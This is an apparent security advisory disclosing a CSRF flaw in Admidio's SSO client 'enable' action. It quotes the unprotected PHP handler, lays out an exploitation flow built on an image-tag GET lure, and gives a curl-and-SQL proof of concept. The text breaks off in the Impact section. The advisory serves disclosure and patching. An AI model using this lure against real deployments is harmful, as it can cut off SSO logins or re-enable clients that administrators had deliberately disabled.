Admidio: CSRF in SSO client enable action toggles SAML/OIDC clients without token validation
Summary
modules/sso/clients.php validates an adm_csrf_token on every state-changing branch except enable. The enable case loads the SAML or OIDC client by UUID, calls $client->enable($enabled), and persists the new state with no token check. Because the action is reachable via plain GET parameters, a third-party page can trick an authenticated administrator into disabling (or silently re-enabling) any configured SAML or OIDC client. Disabling an SSO client breaks every downstream relying-party application that authenticates through it.
Details
Vulnerable Code
modules/sso/clients.php:84-115 — the file's other branches each begin with SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);, but case 'enable': does not:
```php
case 'delete_oidc':
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$oidcService = new OIDCService($gDb, $gCurrentUser);
$client = $oidcService->getClientFromUUID($getClientUUID);
$client->delete();
echo json_encode(array('status' => 'success'));
break;
case 'enable': // <- no CSRF validation
$enabled = admFuncVariableIsValid($_GET, 'enabled', 'boolean');
$client = new SAMLClient($gDb);
$client->readDataByUuid($getClientUUID);
if ($client->isNewRecord()) {
// Not a SAML record, so try OIDC:
$client = new OIDCClient($gDb);
$client->readDataByUuid($getClientUUID);
}
if ($client->isNewRecord()) {
throw new Exception('SYS_SSO_INVALID_CLIENT');
}
$client->enable($enabled);
$client->save();
echo json_encode(['success' => true]);
break;
```
The enable($enabled) call is documented to set a single boolean column on the SAML / OIDC client row — smc_enabled for SAML, ocl_enabled for OIDC — and save() persists the change immediately. The handler accepts plain GET (admFuncVariableIsValid($_GET, 'enabled', 'boolean')), so a <img src=...> or auto-submitting form is sufficient.
Exploitation Flow
1. Attacker prepares a hostile page that loads (e.g.) <img src="http://victim.example/modules/sso/clients.php?mode=enable&uuid=<known-sso-client-uuid>&enabled=0">. The client UUID can be observed by anyone who has visited the SSO settings, by anyone who has crawled the SAML metadata endpoint, or by anyone with read access to the SSO clients table — but the value is also enumerable: an admin viewing the list of SSO clients in the UI exposes data-uuid attributes in the rendered HTML, and SSO metadata endpoints (e.g. modules/sso/saml.php?metadata=1&uuid=...) confirm valid UUIDs by returning XML.
2. An Admidio administrator visits the hostile page while logged in. The browser sends Admidio's session cookie (which does not set SameSite=Strict).
3. The server runs case 'enable': as the admin, sets smc_enabled=0 (or ocl_enabled=0), and replies {"success":true}.
4. The configured SAML / OIDC client is now disabled. Every downstream application authenticating through it gets SYS_SSO_INVALID_CLIENT on its next AuthnRequest / token-endpoint call. The outage persists until an admin notices and toggles it back on.
The attacker can also flip the bit the other way: silently *re-enabling* a client that an admin had previously deactivated (perhaps because of a security concern with that relying party).
PoC
Tested on HEAD c5cde53. To produce a deterministic test target, an SSO client is provisioned directly in the DB:
```
# 0. seed a SAML client
mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio <<'SQL'
INSERT INTO adm_saml_clients (smc_uuid, smc_org_id, smc_client_name, smc_acs_url, smc_enabled,
smc_timestamp_create, smc_usr_id_create)
VALUES ('aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee', 1, 'Test SAML', 'https://app.example/acs', 1,
NOW(), 2);
SQL
mariadb ... admidio -e "SELECT smc_uuid, smc_client_name, smc_enabled FROM adm_saml_clients WHERE smc_client_name='Test SAML';"
smc_uuid smc_client_name smc_enabled
aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee Test SAML 1
# 1. CSRF lure — admin's browser, no token supplied, GET only
curl -b $admin_cookie -i \
"http://127.0.0.1:8085/modules/sso/clients.php?mode=enable&uuid=aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee&enabled=0"
HTTP/1.1 200 OK
{"success":true}
# 2. observe the change
mariadb ... admidio -e "SELECT smc_enabled FROM adm_saml_clients WHERE smc_uuid='aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee';"
smc_enabled
0
```
The change persists. The legitimate admin's UI continues to show the client as configured, but every SAML AuthnRequest fails until the bit is toggled back.
Impact
In an Admidio deployment that uses SSO for downstream relying parties, a CSRF lure targeted at an administrator results in:
